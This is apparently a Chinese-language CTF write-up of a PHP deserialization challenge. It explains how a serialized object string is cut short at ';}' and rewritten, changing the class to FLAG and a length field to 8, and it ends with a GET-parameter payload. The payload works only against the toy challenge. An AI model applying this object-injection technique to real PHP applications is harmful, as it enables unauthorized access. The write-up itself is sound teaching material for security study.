if ($FLAG instanceof FLAG && $FLAG->key == 'GET_FLAG') {
echo $flag;
}
/*
SerliseStringDemo:'O:4:"Demo":3:{s:1:"a";s:5:"Hello";s:1:"b";s:3:"CTF";s:3:"key";s:20:"GET_FLAG";}FAKE_FLAG";}'
Change SOMETHING TO GET FLAGYour serliaze string is O:4:"Demo":3:{s:1:"a";s:5:"Hello";s:1:"b";s:3:"CTF";s:3:"key";s:20:"GET_FLAG";}FAKE_FLAG";}
And Here is object(Demo)#1 (3) { ["a"]=> string(5) "Hello" ["b"]=> string(3) "CTF" ["key"]=> string(20) "GET_FLAG";}FAKE_FLAG" }
*/

序列化和反序列化的规则特性,字符串尾部判定:进行反序列化时,当成员属性的数量,名称长度,内容长度均一致时,程序会以 “;}” 作为字符串的结尾判定。

题目要求我们对 Demo 的序列化之后的字符串进行修改,看看 if 的要求 $FLAG 在 FLAG 类里面,并且 $FLAG->key == ‘GET_FLAG’。不难发现 Demo 类里面的 $key 的值是 ”GET_FLAG”;}FAKE_FLAG“,结合提示,我们需要让 $key 里面的“ ;} ”作为序列化的结束标志。因此修改 Demo 为 FLAG 以及修改$key 的长度从 20 到 8 即可满足要求。

O:4:“Demo”:3:{s:1:”a”;s:5:”Hello”;s:1:”b”;s:3:”CTF”;s:3:”key”;s:20:”GET_FLAG”;}FAKE_FLAG”;}

变为

O:4:“FLAG”:3:{s:1:”a”;s:5:”Hello”;s:1:”b”;s:3:”CTF”;s:3:”key”;s:8:”GET_FLAG”;}FAKE_FLAG”;}

即满足要求

playload:

1
2
?target=O:4:"Demo":3:{s:1:"a";s:5:"Hello";s:1:"b";s:3:"CTF";s:3:"key";s:20:"GET_FLAG";}FAKE_FLAG";}
&change=O:4:"FLAG":3:{s:1:"a";s:5:"Hello";s:1:"b";s:3:"CTF";s:3:"key";s:8:"GET_FLAG";}FAKE_FLAG";}